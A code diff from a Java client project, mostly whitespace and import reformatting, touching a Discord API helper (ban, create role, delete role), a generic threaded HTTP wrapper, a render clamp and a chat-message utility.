// TODO Auto-generated catch block
@ -138,10 +137,10 @@ public class DiscordClient {
return -1;
}
public long banMember(long guildId, long userId){
public long banMember(long guildId, long userId) {
HttpResponse<String> req;
try {
req = requests.put("https://discord.com/api/v9/guilds/"+guildId+"/bans/"+userId+"", "{\"delete_message_days\":0}", "Authorization:" + token);
req = requests.put("https://discord.com/api/v9/guilds/" + guildId + "/bans/" + userId + "", "{\"delete_message_days\":0}", "Authorization:" + token);
return req.statusCode();
} catch (IOException | InterruptedException e) {
// TODO Auto-generated catch block
@ -150,10 +149,10 @@ public class DiscordClient {
return -1;
}
public long createRole(long guildId, String name){
public long createRole(long guildId, String name) {
HttpResponse<String> req;
try {
req = requests.post("https://discord.com/api/v9/guilds/"+guildId+"/roles", "{\"name\":\""+name+"\"}", "Authorization:" + token);
req = requests.post("https://discord.com/api/v9/guilds/" + guildId + "/roles", "{\"name\":\"" + name + "\"}", "Authorization:" + token);
return req.statusCode();
} catch (IOException | InterruptedException e) {
// TODO Auto-generated catch block
@ -162,10 +161,10 @@ public class DiscordClient {
return -1;
}
public long deleteRole(long guildId, long roleId){
public long deleteRole(long guildId, long roleId) {
try {
HttpResponse<String> req;
req = requests.delete("https://discord.com/api/v9/guilds/"+roleId+"/roles", "Authorization:" + token);
req = requests.delete("https://discord.com/api/v9/guilds/" + roleId + "/roles", "Authorization:" + token);
return req.statusCode();
} catch (IOException | InterruptedException e) {
// TODO Auto-generated catch block

View file

@ -2,8 +2,9 @@ package net.shadow.client.helper.http;
import java.io.IOException;
import java.net.URI;
import java.net.http.*;
import java.net.http.HttpClient.*;
import java.net.http.HttpClient;
import java.net.http.HttpRequest;
import java.net.http.HttpResponse;
import java.time.Duration;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.ThreadPoolExecutor;
@ -11,7 +12,7 @@ import java.util.concurrent.TimeUnit;
public class HttpWrapper {
final HttpClient client = HttpClient.newBuilder()
.version(HttpClient.Version.HTTP_1_1)
.followRedirects(HttpClient.Redirect.ALWAYS)
@ -20,14 +21,14 @@ public class HttpWrapper {
final ThreadPoolExecutor pool = new ThreadPoolExecutor(10, 10, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>());
public HttpWrapper(){
public HttpWrapper() {
}
public HttpResponse<String> get(String uri, String... headers) throws IOException, InterruptedException{
public HttpResponse<String> get(String uri, String... headers) throws IOException, InterruptedException {
HttpRequest.Builder builder = HttpRequest.newBuilder().GET().setHeader("User-Agent", "MoleHttp/1.0");
builder.uri(URI.create(uri));
for(String header : headers){
for (String header : headers) {
String[] parsedheader = header.split(":");
builder.setHeader(parsedheader[0], parsedheader[1]);
}
@ -37,11 +38,11 @@ public class HttpWrapper {
return response;
}
public void getAsync(String uri, String... headers){
public void getAsync(String uri, String... headers) {
pool.execute(() -> {
HttpRequest.Builder builder = HttpRequest.newBuilder().GET().setHeader("User-Agent", "MoleHttp/1.0");
builder.uri(URI.create(uri));
for(String header : headers){
for (String header : headers) {
String[] parsedheader = header.split(":");
builder.setHeader(parsedheader[0], parsedheader[1]);
}
@ -53,13 +54,13 @@ public class HttpWrapper {
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
});
});
}
public HttpResponse<String> post(String uri, String data, String... headers) throws IOException, InterruptedException{
public HttpResponse<String> post(String uri, String data, String... headers) throws IOException, InterruptedException {
HttpRequest.Builder builder = HttpRequest.newBuilder().POST(HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json");
builder.uri(URI.create(uri));
for(String header : headers){
for (String header : headers) {
String[] parsedheader = header.split(":");
builder.setHeader(parsedheader[0], parsedheader[1]);
}
@ -69,11 +70,11 @@ public class HttpWrapper {
return response;
}
public void postAsync(String uri, String data, String... headers){
public void postAsync(String uri, String data, String... headers) {
pool.execute(() -> {
HttpRequest.Builder builder = HttpRequest.newBuilder().POST(HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json");
builder.uri(URI.create(uri));
for(String header : headers){
for (String header : headers) {
String[] parsedheader = header.split(":");
builder.setHeader(parsedheader[0], parsedheader[1]);
}
@ -85,13 +86,13 @@ public class HttpWrapper {
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
});
}
});
}
public HttpResponse<String> delete(String uri, String... headers) throws IOException, InterruptedException{
public HttpResponse<String> delete(String uri, String... headers) throws IOException, InterruptedException {
HttpRequest.Builder builder = HttpRequest.newBuilder().DELETE().setHeader("User-Agent", "MoleHttp/1.0");
builder.uri(URI.create(uri));
for(String header : headers){
for (String header : headers) {
String[] parsedheader = header.split(":");
builder.setHeader(parsedheader[0], parsedheader[1]);
}
@ -101,15 +102,15 @@ public class HttpWrapper {
return response;
}
public void deleteAsync(String uri, String... headers){
public void deleteAsync(String uri, String... headers) {
pool.execute(() -> {
HttpRequest.Builder builder = HttpRequest.newBuilder().DELETE().setHeader("User-Agent", "MoleHttp/1.0");
builder.uri(URI.create(uri));
for(String header : headers){
for (String header : headers) {
String[] parsedheader = header.split(":");
builder.setHeader(parsedheader[0], parsedheader[1]);
}
HttpRequest request = builder.build();
try {
client.send(request, HttpResponse.BodyHandlers.ofString());
@ -119,10 +120,10 @@ public class HttpWrapper {
});
}
public HttpResponse<String> put(String uri, String data, String... headers) throws IOException, InterruptedException{
public HttpResponse<String> put(String uri, String data, String... headers) throws IOException, InterruptedException {
HttpRequest.Builder builder = HttpRequest.newBuilder().PUT(HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json");
builder.uri(URI.create(uri));
for(String header : headers){
for (String header : headers) {
String[] parsedheader = header.split(":");
builder.setHeader(parsedheader[0], parsedheader[1]);
}
@ -132,15 +133,15 @@ public class HttpWrapper {
return response;
}
public void putAsync(String uri, String data, String... headers){
public void putAsync(String uri, String data, String... headers) {
pool.execute(() -> {
HttpRequest.Builder builder = HttpRequest.newBuilder().PUT(HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json");
builder.uri(URI.create(uri));
for(String header : headers){
for (String header : headers) {
String[] parsedheader = header.split(":");
builder.setHeader(parsedheader[0], parsedheader[1]);
}
HttpRequest request = builder.build();
try {
client.send(request, HttpResponse.BodyHandlers.ofString());
@ -150,10 +151,10 @@ public class HttpWrapper {
});
}
public HttpResponse<String> patch(String uri, String data, String... headers) throws IOException, InterruptedException{
public HttpResponse<String> patch(String uri, String data, String... headers) throws IOException, InterruptedException {
HttpRequest.Builder builder = HttpRequest.newBuilder().method("PATCH", HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json");
builder.uri(URI.create(uri));
for(String header : headers){
for (String header : headers) {
String[] parsedheader = header.split(":");
builder.setHeader(parsedheader[0], parsedheader[1]);
}
@ -163,15 +164,15 @@ public class HttpWrapper {
return response;
}
public void patchAsync(String uri, String data, String... headers){
public void patchAsync(String uri, String data, String... headers) {
pool.execute(() -> {
HttpRequest.Builder builder = HttpRequest.newBuilder().method("PATCH", HttpRequest.BodyPublishers.ofString(data)).setHeader("User-Agent", "MoleHttp/1.0").setHeader("Content-Type", "application/json");
builder.uri(URI.create(uri));
for(String header : headers){
for (String header : headers) {
String[] parsedheader = header.split(":");
builder.setHeader(parsedheader[0], parsedheader[1]);
}
HttpRequest request = builder.build();
try {
client.send(request, HttpResponse.BodyHandlers.ofString());

View file

@ -65,6 +65,7 @@ public class Renderer {
if (fade == null) continue;
long lifetimeLeft = fade.getLifeTimeLeft();
double progress = lifetimeLeft / (double) fade.lifeTime;
progress = MathHelper.clamp(progress, 0, 1);
double ip = 1 - progress;
stack.push();
Color out = Util.modify(fade.outline, -1, -1, -1, (int) (fade.outline.getAlpha() * progress));

View file

@ -386,7 +386,8 @@ public class Utils {
public static void message0(String n, Color c) {
LiteralText t = new LiteralText(n);
t.setStyle(t.getStyle().withColor(TextColor.fromRgb(c.getRGB())));
if (ShadowMain.client.player != null) if(!(ShadowMain.client.currentScreen instanceof ConsoleScreen)) ShadowMain.client.player.sendMessage(t, false);
if (ShadowMain.client.player != null) if (!(ShadowMain.client.currentScreen instanceof ConsoleScreen))
ShadowMain.client.player.sendMessage(t, false);
// if (c.equals(Color.WHITE)) c = Color.BLACK;
ConsoleScreen.instance().addLog(new ConsoleScreen.LogEntry(n, c));
}